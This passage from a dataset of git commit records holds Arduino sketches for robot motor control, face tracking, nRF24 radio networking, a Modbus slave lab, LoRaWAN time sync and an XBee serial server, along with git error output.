Serial.println(\" power\");\n \n set_speed(pwr);\n turn_right();\n delay(time);\n stop_motors();\n }\n } else if(cmd.startsWith(\"turn_left\")) {\n int fst_colon = cmd.indexOf(\":\");\n int sec_colon = cmd.indexOf(\":\", fst_colon+1);\n if(fst_colon != -1 && sec_colon != -1) {\n int time = (cmd.substring(fst_colon+1, sec_colon)).toInt();\n int pwr = (cmd.substring(sec_colon+1)).toInt();\n Serial.print(\"Turn left for \");\n Serial.print(time);\n Serial.print(\"ms with \");\n Serial.print(pwr);\n Serial.println(\" power\");\n \n set_speed(pwr);\n turn_left();\n delay(time);\n stop_motors();\n }\n }\n }\n}\n\nvoid drive_fwd() {\n m_left.run(FORWARD);\n m_right.run(FORWARD);\n}\n\nvoid drive_bwd() {\n m_left.run(BACKWARD);\n m_right.run(BACKWARD);\n}\n\nvoid stop_motors() {\n m_left.run(RELEASE);\n m_right.run(RELEASE);\n}\n\nvoid turn_left() {\n m_left.run(BACKWARD);\n m_right.run(FORWARD);\n}\n\nvoid turn_right() {\n m_left.run(FORWARD);\n m_right.run(BACKWARD);\n}\n\nvoid set_speed(int s) {\n int left = map(s, 0, 100, 0, MAX_LEFT);\n int right = map(s, 0, 100, 0, MAX_RIGHT);\n \n Serial.print(\"Setting left motor speed to \");\n Serial.println(left);\n Serial.print(\"Setting right motor speed to \");\n Serial.println(right);\n m_left.setSpeed(left);\n m_right.setSpeed(right);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'RobotFirmware\/TestingRobot\/TestingRobot.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"cd186b9fc4df60ddce106775ab1c6529ca7d4363","subject":"init GPS \/ GSM position monitoring","message":"init GPS \/ GSM position monitoring\n","repos":"werar\/iothome,werar\/iothome,werar\/iothome","old_file":"modules\/GSM_GPS\/GSM_monitor\/GSM_monitor.ino","new_file":"modules\/GSM_GPS\/GSM_monitor\/GSM_monitor.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/werar\/iothome.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"d8fcd069f9b3119663da95eb144d2aa811cb6399","subject":"Add file to allow saving arduino output from serial","message":"Add file to allow saving arduino output from serial\n","repos":"AGilchrist0\/balloon","old_file":"src\/serial-print.ino","new_file":"src\/serial-print.ino","new_contents":"\/* Header file that allows for writing of data from arduino to pi *\/\n\n\n#ifndef serial-print_h\n#define serial-print_h\n\n#include \"Arduino.h\"\n\nimport processing.serial.*;\nSerial mySerial;\nPrintWriter output;\nvoid setup() {\n mySerial = new Serial( this, Serial.list()[0], 9600 );\n output = createWriter( \"data.txt\" );\n}\nvoid draw() {\n if (mySerial.available() > 0 ) {\n String value = mySerial.readString();\n if ( value != null ) {\n output.println( value );\n }\n }\n}\n\nvoid keyPressed() {\n output.flush(); \/\/ Writes the remaining data to the file\n output.close(); \/\/ Finishes the file\n exit(); \/\/ Stops the program\n}\n\n#endif\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/serial-print.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0cea85c73ed1497d434fc35101e63668971394ac","subject":"add arduino","message":"add arduino\n","repos":"xeecos\/FacePi,xeecos\/FacePi,xeecos\/FacePi","old_file":"Arduino\/Arduino.ino","new_file":"Arduino\/Arduino.ino","new_contents":"#include \"MeMegaPi.h\"\n#include <SoftwareSerial.h>\nbool spd = true;\nint moveSpeed = 100;\nint minSpeed = 20;\nint maxSpeed = 200;\nint servoX = 90;\nint servoY = 90;\nString _buffer = \"\";\nString _commands[6];\n\nMePS2 joystick(PORT_16);\n\nMeMegaPiDCMotor motorLeft(PORT1A);\nMeMegaPiDCMotor motorRight(PORT1B);\nMeMegaPiDCMotor armLeft(PORT2A);\nMeMegaPiDCMotor armRight(PORT2B);\nMePort port6(PORT_6);\nMePort port7(PORT_7);\nServo svx;\nServo svy;\nvoid setup() {\n Serial2.begin(115200);\n joystick.begin(115200);\n svx.attach(port7.pin1());\n svy.attach(port6.pin1());\n svx.write(90);\n svy.write(70);\n}\n\nvoid loop() {\n if(Serial2.available()){\n char c = Serial2.read();\n if(c!='\\n'){\n _buffer+=c;\n }else{\n parseBuffer();\n }\n }\n joystickUpdate();\n}\nvoid parseBuffer(){\n int startIndex = 0,endIndex = 0,index = 0,len = _buffer.length(),maxCmdLen = 0;\n while(1){\n endIndex = _buffer.indexOf(\",\",startIndex);\n if(endIndex>0){\n _commands[index] = _buffer.substring(startIndex,endIndex);\n index++;\n startIndex = endIndex+1;\n }\n if(index>5||endIndex==-1){\n if(startIndex<len){\n _commands[index] = _buffer.substring(startIndex,len);\n index++;\n }\n break;\n }\n }\n maxCmdLen = index-1;\n if(_commands[0].equals(\"face\")){\n float faceX = _commands[1].toFloat();\n float faceY = _commands[2].toFloat();\n float faceW = _commands[3].toFloat();\n float faceH = _commands[4].toFloat();\n moveServo(faceX,faceY);\n }else if(_commands[0].equals(\"reset\")){\n svx.write(90);\n svy.write(70);\n }\n _buffer = \"\";\n}\nvoid joystickUpdate(){\n joystick.loop();\n if (joystick.ButtonPressed(MeJOYSTICK_UP))\n {\n forward();\n }else if (joystick.ButtonPressed(MeJOYSTICK_DOWN))\n {\n backward();\n }else if (joystick.ButtonPressed(MeJOYSTICK_LEFT))\n {\n turnLeft();\n }else if (joystick.ButtonPressed(MeJOYSTICK_RIGHT))\n {\n turnRight();\n }else if (joystick.ButtonPressed(MeJOYSTICK_R1))\n {\n if(spd){\n spd = false;\n moveSpeed+=5;\n moveSpeed = min(maxSpeed,moveSpeed);\n }\n }else if (joystick.ButtonPressed(MeJOYSTICK_R2))\n {\n if(spd){\n spd = false;\n moveSpeed-=5;\n moveSpeed = max(minSpeed,moveSpeed);\n }\n }else{\n spd = true;\n float joystickX = joystick.MeAnalog(MeJOYSTICK_LX)\/5.0;\n float joystickY = joystick.MeAnalog(MeJOYSTICK_LY)\/5.0;\n float angle = fmod(atan2(joystickY,joystickX)\/2.0+PI*2.0,PI*2.0);\n float dist = sqrt(joystickX*joystickX+joystickY*joystickY)*moveSpeed\/(minSpeed+40);\n if(angle<PI\/2.0){\n move(-dist*cos(angle),dist*sin(angle));\n }else{\n move(dist*cos(angle),dist*sin(angle));\n }\n }\n}\n\nvoid forward(void)\n{\n motorLeft.run(-moveSpeed);\n motorRight.run(moveSpeed);\n}\n\nvoid backward(void)\n{\n motorLeft.run(moveSpeed);\n motorRight.run(-moveSpeed);\n}\n\nvoid turnRight(void)\n{\n motorLeft.run(-moveSpeed);\n motorRight.run(-moveSpeed);\n}\n\nvoid turnLeft(void)\n{\n motorLeft.run(moveSpeed);\n motorRight.run(moveSpeed);\n}\n\nvoid stop(void)\n{\n motorLeft.stop();\n motorRight.stop();\n}\n\nvoid move(int left,int right)\n{\n motorLeft.run(left);\n motorRight.run(right);\n}\nfloat prevX = 0.0;\nfloat prevY = 0.0;\nfloat ppX = 0.0;\nfloat ppY = 0.0;\nvoid moveServo(float x,float y)\n{\n x = max(min(x+5,45),-45);\n y = max(min(y-5,45),-45);\n float cx = servoX-90;\n float cy = servoY-90;\n float dX = x*(cx*x<0?60:(60-abs(cx)))\/45.0\/20.0;\n float dY = y*(cy*y<0?60:(60-abs(cy)))\/45.0\/20.0;\n\/\/ for(int i=1;i<10;i++){\n\/\/ svx.write(round(servoX+dX*i\/10));\n\/\/ svy.write(round(servoY+dY*i\/10));\n\/\/ delay(10);\n\/\/ }\n float scale = min(10,4*(abs(prevX-dX)+1));\n servoX += scale*dX-prevX*2.2;\/\/+ppX*0.1;\n servoY += scale*dY-prevY*2.2;\/\/+ppY*0.1;\n ppX = prevX;\n ppY = prevY;\n prevX = dX;\n prevY = dY;\n servoX = max(min(servoX,135),45);\n servoY = max(min(servoY,135),45);\n svx.write(round(servoX));\n svy.write(round(servoY));\n Serial2.println(\"ok\");\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/Arduino.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9f037d8f096d252d83fb64b3fb2d07c3f6aa0a00","subject":"Create rs485_smodbus_slave.ino","message":"Create rs485_smodbus_slave.ino","repos":"pumanzor\/security,pumanzor\/security,pumanzor\/security","old_file":"protocol\/modbus\/lab\/rs485_smodbus_slave.ino","new_file":"protocol\/modbus\/lab\/rs485_smodbus_slave.ino","new_contents":"#include <SimpleModbusSlave.h>\n\n#define LED 4\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ registers of your slave \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nenum \n{\n ADC_VAL, \n PWM_VAL, \n HOLDING_REGS_SIZE\n};\n\nunsigned int holdingRegs[HOLDING_REGS_SIZE]; \/\/ function 3 and 16 register array\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid setup()\n{\n modbus_configure(&Serial, 19200, SERIAL_8N1, 1, 2, HOLDING_REGS_SIZE, holdingRegs);\n modbus_update_comms(19200, SERIAL_8N1, 229); \/\/id del esclavo\n \n pinMode(LED, OUTPUT);\n}\n\nvoid loop()\n{\n\n modbus_update();\n \/\/ holdingRegs[ADC_VAL] = analogRead(A0);\n \n digitalWrite(LED, HIGH);\n delay(holdingRegs[PWM_VAL]);\n digitalWrite(LED, LOW);\n delay(holdingRegs[PWM_VAL]);\n \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'protocol\/modbus\/lab\/rs485_smodbus_slave.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4b8edf0be9304879f27be3c84745e54a1a9d7d7b","subject":"Added multi-receiver for two way communciation between one queen and two scouts","message":"Added multi-receiver for two way communciation between one queen and two scouts\n","repos":"laurengulland\/009yellow-beacon,laurengulland\/009yellow-beacon,laurengulland\/009yellow-beacon,laurengulland\/009yellow-beacon,laurengulland\/009yellow-beacon,laurengulland\/009yellow-beacon,laurengulland\/009yellow-beacon","old_file":"arduino\/FCPM37YIWWFTK2H\/FCPM37YIWWFTK2H.ino","new_file":"arduino\/FCPM37YIWWFTK2H\/FCPM37YIWWFTK2H.ino","new_contents":"\/\/ An example demonstrating the multiceiver capability of the NRF24L01+\n\/\/ in a star network with one PRX hub and up to six PTX nodes\n\n\/\/This sketch is a modification from a video on the ForceTronics YouTube Channel,\n\/\/which code was leveraged from http:\/\/maniacbug.github.io\/RF24\/starping_8pde-example.html\n\/\/This sketch is free to the public to use and modify at your own risk\n\n#include <SPI.h> \/\/Call SPI library so you can communicate with the nRF24L01+\n#include <nRF24L01.h> \/\/nRF2401 libarary found at https:\/\/github.com\/tmrh20\/RF24\/\n#include <RF24.h> \/\/nRF2401 libarary found at https:\/\/github.com\/tmrh20\/RF24\/\n\nconst int pinCE = 7; \/\/This pin is used to set the nRF24 to standby (0) or active mode (1)\nconst int pinCSN = 8; \/\/This pin is used to tell the nRF24 whether the SPI communication is a command or message to send out\nRF24 radio(pinCE, pinCSN); \/\/ Declare object from nRF24 library (Create your wireless SPI)\n\n\/\/Create up to 6 pipe addresses P0 - P5; the \"LL\" is for LongLong type\nconst uint64_t rAddress[] = {0x7878787878LL, 0xB3B4B5B6F1LL, 0xB3B4B5B6CDLL, 0xB3B4B5B6A3LL, 0xB3B4B5B60FLL, 0xB3B4B5B605LL };\n\nbyte daNumber = 0; \/\/The number that the transmitters are trying to guess\n\nvoid setup() \n{\n randomSeed(analogRead(0)); \/\/create unique seed value for random number generation\n daNumber = (byte)random(11); \/\/Create random number that transmitters have to guess\n Serial.begin(115200); \/\/start serial to communication\n Serial.print(\"The number they are trying to guess is: \"); \n Serial.println(daNumber); \/\/print the number that they have to guess\n Serial.println();\n radio.begin(); \/\/Start the nRF24 module\n\n radio.setPALevel(RF24_PA_MAX); \/\/ \"short range setting\" - increase if you want more range AND have a good power supply\n radio.setChannel(108); \/\/ the higher channels tend to be more \"open\"\n\n \/\/ Open up to six pipes for PRX to receive data\n radio.openReadingPipe(0,rAddress[0]);\n radio.openReadingPipe(1,rAddress[1]);\n radio.openReadingPipe(2,rAddress[2]);\n radio.openReadingPipe(3,rAddress[3]);\n radio.openReadingPipe(4,rAddress[4]);\n radio.openReadingPipe(5,rAddress[5]);\n \n radio.startListening(); \/\/ Start listening for messages\n}\n\nvoid loop() \n{ \n byte pipeNum = 0; \/\/variable to hold which reading pipe sent data\n byte gotByte = 0; \/\/used to store payload from transmit module\n \n while(radio.available(&pipeNum)){ \/\/Check if received data\n radio.read( &gotByte, 1 ); \/\/read one byte of data and store it in gotByte variable\n Serial.print(\"Received guess from transmitter: \"); \n Serial.println(pipeNum + 1); \/\/print which pipe or transmitter this is from\n Serial.print(\"They guess number: \");\n Serial.println(gotByte); \/\/print payload or the number the transmitter guessed\n if(gotByte != daNumber) { \/\/if true they guessed wrong\n Serial.println(\"Fail!! Try again.\"); \n }\n else { \/\/if this is true they guessed right\n if(sendCorrectNumber(pipeNum)) Serial.println(\"Correct! You're done.\"); \/\/if true we successfully responded\n else Serial.println(\"Write failed\"); \/\/if true we failed responding\n }\n Serial.println();\n }\n\n delay(200); \n}\n\n \/\/This function turns the receiver into a transmitter briefly to tell one of the nRF24s\n\/\/in the network that it guessed the right number. Returns true if write to module was\n\/\/successful\nbool sendCorrectNumber(byte xMitter) {\n bool worked; \/\/variable to track if write was successful\n radio.stopListening(); \/\/Stop listening, start receiving data.\n radio.openWritingPipe(rAddress[xMitter]); \/\/Open writing pipe to the nRF24 that guessed the right number\n \/\/ note that this is the same pipe address that was just used for receiving\n if(!radio.write(&daNumber, 1)) worked = false; \/\/write the correct number to the nRF24 module, and check that it was received\n else worked = true; \/\/it was received\n radio.startListening(); \/\/Switch back to a receiver\n return worked; \/\/return whether write was successful\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/FCPM37YIWWFTK2H\/FCPM37YIWWFTK2H.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b6a22996784c935c0ef07271e772934b7cf81f35","subject":"Create dedicated MegaPi Firmware sketch for Dovlo. Add service server to enable\/disable motors. Reduce speed to 57600 bds","message":"Create dedicated MegaPi Firmware sketch for Dovlo. Add service server to enable\/disable motors. Reduce speed to 57600 bds\n","repos":"Bobox214\/Dovlo,Bobox214\/Dovlo","old_file":"arduino\/MegaPi_Firmware\/MegaPi_Firmware.ino","new_file":"arduino\/MegaPi_Firmware\/MegaPi_Firmware.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Bobox214\/Dovlo.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"be56e1e92b70f16078c5836ffdc1ab2352a5d785","subject":"Add example demonstrating time syncronization with the network","message":"Add example demonstrating time syncronization with the network\n","repos":"mcci-catena\/arduino-lmic,mcci-catena\/arduino-lmic,mcci-catena\/arduino-lmic","old_file":"examples\/ttn-otaa-network-time\/ttn-otaa-network-time.ino","new_file":"examples\/ttn-otaa-network-time\/ttn-otaa-network-time.ino","new_contents":"\/*******************************************************************************\n * Copyright (c) 2015 Thomas Telkamp and Matthijs Kooijman\n * Copyright (c) 2018 Terry Moore, MCCI\n *\n * Permission is hereby granted, free of charge, to anyone\n * obtaining a copy of this document and accompanying files,\n * to do whatever they want with them without any restriction,\n * including, but not limited to, copying, modification and redistribution.\n * NO WARRANTY OF ANY KIND IS PROVIDED.\n *\n * This example sends a valid LoRaWAN packet with payload \"Hello,\n * world!\", using frequency and encryption settings matching those of\n * the The Things Network.\n *\n * This uses OTAA (Over-the-air activation), where where a DevEUI and\n * application key is configured, which are used in an over-the-air\n * activation procedure where a DevAddr and session keys are\n * assigned\/generated for use with all further communication.\n *\n * Note: LoRaWAN per sub-band duty-cycle limitation is enforced (1% in\n * g1, 0.1% in g2), but not the TTN fair usage policy (which is probably\n * violated by this sketch when left running for longer)!\n\n * To use this sketch, first register your application and device with\n * the things network, to set or generate an AppEUI, DevEUI and AppKey.\n * Multiple devices can use the same AppEUI, but each device has its own\n * DevEUI and AppKey.\n *\n * Do not forget to define the radio type correctly in config.h.\n *\n *******************************************************************************\/\n\n#include <Time.h>\n#include <lmic.h>\n#include <hal\/hal.h>\n#include <SPI.h>\n\n\/\/\n\/\/ For normal use, we require that you edit the sketch to replace FILLMEIN\n\/\/ with values assigned by the TTN console. However, for regression tests,\n\/\/ we want to be able to compile these scripts. The regression tests define\n\/\/ COMPILE_REGRESSION_TEST, and in that case we define FILLMEIN to a non-\n\/\/ working but innocuous value.\n\/\/\n#ifdef COMPILE_REGRESSION_TEST\n# define FILLMEIN 0\n#else\n# warning \"You must replace the values marked FILLMEIN with real values from the TTN control panel!\"\n# define FILLMEIN (#dont edit this, edit the lines that use FILLMEIN)\n#endif\n\n\n\/\/ This EUI must be in little-endian format, so least-significant-byte\n\/\/ first. When copying an EUI from ttnctl output, this means to reverse\n\/\/ the bytes. For TTN issued EUIs the last bytes should be 0xD5, 0xB3,\n\/\/ 0x70.\nstatic const u1_t PROGMEM APPEUI[8]={ FILLMEIN };\nvoid os_getArtEui (u1_t* buf) { memcpy_P(buf, APPEUI, 8);}\n\n\/\/ This should also be in little endian format, see above.\nstatic const u1_t PROGMEM DEVEUI[8]={ FILLMEIN };\nvoid os_getDevEui (u1_t* buf) { memcpy_P(buf, DEVEUI, 8);}\n\n\/\/ This key should be in big endian format (or, since it is not really a\n\/\/ number but a block of memory, endianness does not really apply). In\n\/\/ practice, a key taken from ttnctl can be copied as-is.\nstatic const u1_t PROGMEM APPKEY[16] = { FILLMEIN };\nvoid os_getDevKey (u1_t* buf) { memcpy_P(buf, APPKEY, 16);}\n\nstatic uint8_t mydata[] = \"Hello, world!\";\nstatic osjob_t sendjob;\n\n\/\/ Schedule TX every this many seconds (might become longer due to duty\n\/\/ cycle limitations).\nconst unsigned TX_INTERVAL = 60;\n\n\/\/ Pin mapping\nconst lmic_pinmap lmic_pins = {\n .nss = 6,\n .rxtx = LMIC_UNUSED_PIN,\n .rst = 5,\n .dio = {2, 3, 4},\n};\n\nvoid onEvent (ev_t ev) {\n Serial.print(os_getTime());\n Serial.print(\": \");\n switch(ev) {\n case EV_SCAN_TIMEOUT:\n Serial.println(F(\"EV_SCAN_TIMEOUT\"));\n break;\n case EV_BEACON_FOUND:\n Serial.println(F(\"EV_BEACON_FOUND\"));\n break;\n case EV_BEACON_MISSED:\n Serial.println(F(\"EV_BEACON_MISSED\"));\n break;\n case EV_BEACON_TRACKED:\n Serial.println(F(\"EV_BEACON_TRACKED\"));\n break;\n case EV_JOINING:\n Serial.println(F(\"EV_JOINING\"));\n break;\n case EV_JOINED:\n Serial.println(F(\"EV_JOINED\"));\n {\n u4_t netid = 0;\n devaddr_t devaddr = 0;\n u1_t nwkKey[16];\n u1_t artKey[16];\n LMIC_getSessionKeys(&netid, &devaddr, nwkKey, artKey);\n Serial.print(\"netid: \");\n Serial.println(netid, DEC);\n Serial.print(\"devaddr: \");\n Serial.println(devaddr, HEX);\n Serial.print(\"artKey: \");\n for (int i=0; i<sizeof(artKey); ++i) {\n Serial.print(artKey[i], HEX);\n }\n Serial.println(\"\");\n Serial.print(\"nwkKey: \");\n for (int i=0; i<sizeof(nwkKey); ++i) {\n Serial.print(nwkKey[i], HEX);\n }\n Serial.println(\"\");\n }\n \/\/ Disable link check validation (automatically enabled\n \/\/ during join, but because slow data rates change max TX\n\t \/\/ size, we don't use it in this example.\n LMIC_setLinkCheckMode(0);\n break;\n \/*\n || This event is defined but not used in the code. No\n || point in wasting codespace on it.\n ||\n || case EV_RFU1:\n || Serial.println(F(\"EV_RFU1\"));\n || break;\n *\/\n case EV_JOIN_FAILED:\n Serial.println(F(\"EV_JOIN_FAILED\"));\n break;\n case EV_REJOIN_FAILED:\n Serial.println(F(\"EV_REJOIN_FAILED\"));\n break;\n case EV_TXCOMPLETE:\n Serial.println(F(\"EV_TXCOMPLETE (includes waiting for RX windows)\"));\n if (LMIC.txrxFlags & TXRX_ACK)\n Serial.println(F(\"Received ack\"));\n if (LMIC.dataLen) {\n Serial.print(F(\"Received \"));\n Serial.print(LMIC.dataLen);\n Serial.println(F(\" bytes of payload\"));\n }\n \/\/ Schedule next transmission\n os_setTimedCallback(&sendjob, os_getTime() + sec2osticks(TX_INTERVAL), do_send);\n break;\n case EV_LOST_TSYNC:\n Serial.println(F(\"EV_LOST_TSYNC\"));\n break;\n case EV_RESET:\n Serial.println(F(\"EV_RESET\"));\n break;\n case EV_RXCOMPLETE:\n \/\/ data received in ping slot\n Serial.println(F(\"EV_RXCOMPLETE\"));\n break;\n case EV_LINK_DEAD:\n Serial.println(F(\"EV_LINK_DEAD\"));\n break;\n case EV_LINK_ALIVE:\n Serial.println(F(\"EV_LINK_ALIVE\"));\n break;\n \/*\n || This event is defined but not used in the code. No\n || point in wasting codespace on it.\n ||\n || case EV_SCAN_FOUND:\n || Serial.println(F(\"EV_SCAN_FOUND\"));\n || break;\n *\/\n case EV_TXSTART:\n Serial.println(F(\"EV_TXSTART\"));\n break;\n default:\n Serial.print(F(\"Unknown event: \"));\n Serial.println((unsigned) ev);\n break;\n }\n}\n\nuint32_t userUTCTime; \/\/ Seconds since the UTC epoch\n\n\/\/ Utility function for digital clock display: prints preceding colon and\n\/\/ leading 0\nvoid printDigits(int digits) {\n \n Serial.print(':');\n if (digits < 10) Serial.print('0');\n Serial.print(digits);\n}\n\nvoid user_request_network_time_callback(uint32_t *pUserUTCTime, int flagSuccess) {\n\n \/\/ A struct that will be populated by LMIC_getNetworkTimeReference.\n \/\/ It contains the following fields:\n \/\/ - tLocal: the value returned by os_GetTime() when the time\n \/\/ request was sent to the gateway, and\n \/\/ - tNetwork: the seconds between the GPS epoch and the time\n \/\/ the gateway received the time request\n lmic_time_reference_t lmicTimeReference;\n\n if (flagSuccess != 1) {\n Serial.println(F(\"USER CALLBACK: Not a success\"));\n return;\n }\n\n \/\/ Populate \"lmic_time_reference\"\n flagSuccess = LMIC_getNetworkTimeReference(&lmicTimeReference);\n if (flagSuccess != 1) {\n Serial.println(F(\"USER CALLBACK: LMIC_getNetworkTimeReference didn't succeed\"));\n return;\n }\n\n \/\/ Update userUTCTime, considering the difference between the GPS and UTC\n \/\/ epoch, and the leap seconds\n *pUserUTCTime = lmicTimeReference.tNetwork + 315964800;\n\n \/\/ Add the delay between the instant the time was transmitted and\n \/\/ the current time\n\n \/\/ Current time, in ticks\n ostime_t ticksNow = os_getTime();\n \/\/ Time when the request was sent, in ticks\n ostime_t ticksRequestSent = lmicTimeReference.tLocal;\n uint32_t requestDelaySec = osticks2ms(ticksNow - ticksRequestSent) \/ 1000;\n *pUserUTCTime += requestDelaySec;\n\n \/\/ Update the system time with the time read from the network\n setTime(*pUserUTCTime);\n\n Serial.print(F(\"The current UTC time is: \"));\n Serial.print(hour());\n printDigits(minute());\n printDigits(second());\n Serial.print(' ');\n Serial.print(day());\n Serial.print('\/');\n Serial.print(month());\n Serial.print('\/');\n Serial.print(year());\n Serial.println();\n}\n\nvoid do_send(osjob_t* j) {\n \/\/ Check if there is not a current TX\/RX job running\n if (LMIC.opmode & OP_TXRXPEND) {\n Serial.println(F(\"OP_TXRXPEND, not sending\"));\n } else {\n \/\/ Schedule a network time request at the next possible time\n LMIC_requestNetworkTime(user_request_network_time_callback, &userUTCTime);\n\n \/\/ Prepare upstream data transmission at the next possible time.\n LMIC_setTxData2(1, mydata, sizeof(mydata)-1, 0);\n Serial.println(F(\"Packet queued\"));\n }\n \/\/ Next TX is scheduled after TX_COMPLETE event.\n}\n\nvoid setup() {\n Serial.begin(9600);\n Serial.println(F(\"Starting\"));\n\n #ifdef VCC_ENABLE\n \/\/ For Pinoccio Scout boards\n pinMode(VCC_ENABLE, OUTPUT);\n digitalWrite(VCC_ENABLE, HIGH);\n delay(1000);\n #endif\n\n \/\/ LMIC init\n os_init();\n \/\/ Reset the MAC state. Session and pending data transfers will be discarded.\n LMIC_reset();\n\n \/\/ Start job (sending automatically starts OTAA too)\n do_send(&sendjob);\n}\n\nvoid loop() {\n os_runloop_once();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/ttn-otaa-network-time\/ttn-otaa-network-time.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3515e98816110c0cf6bf318379a2710e805d0db9","subject":"Added new faster code for the Arduino server","message":"Added new faster code for the Arduino server\n","repos":"mbartling\/TAMU_senior_design,mbartling\/TAMU_senior_design,mbartling\/TAMU_senior_design,mbartling\/TAMU_senior_design,mbartling\/TAMU_senior_design,mbartling\/TAMU_senior_design,mbartling\/TAMU_senior_design,mbartling\/TAMU_senior_design","old_file":"Arduino\/sketchbook\/XbeeServer\/XbeeServer.ino","new_file":"Arduino\/sketchbook\/XbeeServer\/XbeeServer.ino","new_contents":"#include <stdio.h>\n#include <uVector.h>\n#include <XbeeS6.h>\n#include <string.h>\n#include <Time.h>\n\n\n\n\/\/#include \"XbeeS6.h\"\n#define BAUD_RATE 57600\n\n\nTx64Packet tx_packet;\n\nuVector myvector;\nstatic uint8_t * tx_buffer1;\n\nHardwareSerial Uart = HardwareSerial();\nunsigned long baud = 57600;\nconst int reset_pin = 4;\nconst int led_pin = 11; \/\/ 11=Teensy 2.0, 6=Teensy 1.0, 16=Benito\nconst int led_on = HIGH;\nconst int led_off = LOW;\n\nvolatile time_t start_time;\ntime_t current_time;\nlong previousMillis = 0;\nlong interval = 500;\n\nvoid setup()\n{\n \/\/start_time = now();\n\n pinMode(led_pin, OUTPUT);\n digitalWrite(led_pin, led_off);\n digitalWrite(reset_pin, HIGH);\n pinMode(reset_pin, OUTPUT);\n Serial.begin(BAUD_RATE);\n Serial.println(\"Starting the Receiver!\");\n second(start_time);\n Serial.print(\"Starting time: \");\n Serial.println(start_time);\n\n tx_packet.set_Address(0x00000000C0A80165); \n\n tx_buffer1 = get_buffer();\n\n Uart.begin(BAUD_RATE);\n\n Serial.println(\"=======================\");\n Serial.println(\"?: for Receive mode HEX\");\n Serial.println(\"#: for Receive mode BYTE (for Config)\");\n Serial.println(\"$: for TX Mode\");\n Serial.println(\"=======================\");\n Uart.flush();\n\n\n}\nint j = 0;\nint k = 0;\nvolatile int enable;\nlong led_on_time=0;\nvoid loop()\n{\n \/\/static int enable;\n unsigned char c, dtr;\n static unsigned char prev_dtr = 0;\n unsigned long currentMillis = millis();\n if (Serial.available()) {\n c = Serial.read();\n if(c == '?') {\n enable = 3; \n return;\n }\n\n if(c == '$' ) {\n enable =1; \n return;\n }\n if(c == '#' ) {\n enable = 2; \n return; \n }\n if(c == '^') {\n Uart.flush(); \n return; \n }\n Uart.write(c);\n digitalWrite(led_pin, led_on);\n led_on_time = millis();\n return;\n }\n \/* Determine Server Configuration*\/\n if(currentMillis-previousMillis > interval)\n {\n if(enable == 1)\n {\n\n uint16_t length = tx_packet.prepare2send();\n uint16_t i;\n\n for(i = 0; i < length; i++)\n {\n Uart.write(tx_buffer1[i]);\n }\n for(i = 0; i < length; i++)\n {\n Serial.print(tx_buffer1[i], HEX); \n Serial.print(\" \");\n }\n Serial.println(' ');\n j++;\n tx_packet.clear_payload();\n tx_packet.push_back( (uint8_t) j);\n Uart.flush();\n Serial.println(\"response\");\n while(Uart.available())\n {\n\n Serial.print(Uart.read(),HEX);\n Serial.print(\" \");\n }\n Serial.println(\"EOR\");\n\n\n }\n \/\/else\n if(enable == 2) \/\/For command mode use write for repsponse use print\n {\n if (Uart.available()) \n {\n c = Uart.read();\n Serial.write(c);\n digitalWrite(led_pin, led_on);\n led_on_time = millis();\n return;\n } \n }\n \/\/else \n if(enable == 3) \/\/For command mode use write for response use print\n {\n if (Uart.available()) \n {\n c = Uart.read();\n \/\/\t\tSerial.write(c);\n current_time = now();\n \/\/Serial.print(\"current time: \");\n \/\/Serial.println(current_time);\n if(c == 0x7E) Serial.println();\n Serial.print(c, HEX);\n Serial.print(\" \");\n digitalWrite(led_pin, led_on);\n led_on_time = millis();\n return;\n } \n }\n previousMillis = currentMillis;\n }\n \n \/* Control Bootloader*\/\n dtr = Serial.dtr();\n if (dtr && !prev_dtr) {\n digitalWrite(reset_pin, LOW);\n delayMicroseconds(250);\n digitalWrite(reset_pin, HIGH);\n }\n prev_dtr = dtr;\n if (millis() - led_on_time > 3) {\n digitalWrite(led_pin, led_off);\n }\n if (Serial.baud() != baud) {\n baud = Serial.baud();\n if (baud == 57600) {\n \/\/ This ugly hack is necessary for talking\n \/\/ to the arduino bootloader, which actually\n \/\/ communicates at 58824 baud (+2.1% error).\n \/\/ Teensyduino will configure the UART for\n \/\/ the closest baud rate, which is 57143\n \/\/ baud (-0.8% error). Serial communication\n \/\/ can tolerate about 2.5% error, so the\n \/\/ combined error is too large. Simply\n \/\/ setting the baud rate to the same as\n \/\/ arduino's actual baud rate works.\n Uart.begin(58824);\n } \n else {\n Uart.begin(baud);\n }\n }\n\n\n\n}\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/sketchbook\/XbeeServer\/XbeeServer.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"412e6f852718bcca98085c6b8aed135f58db8d3a","subject":"Plant 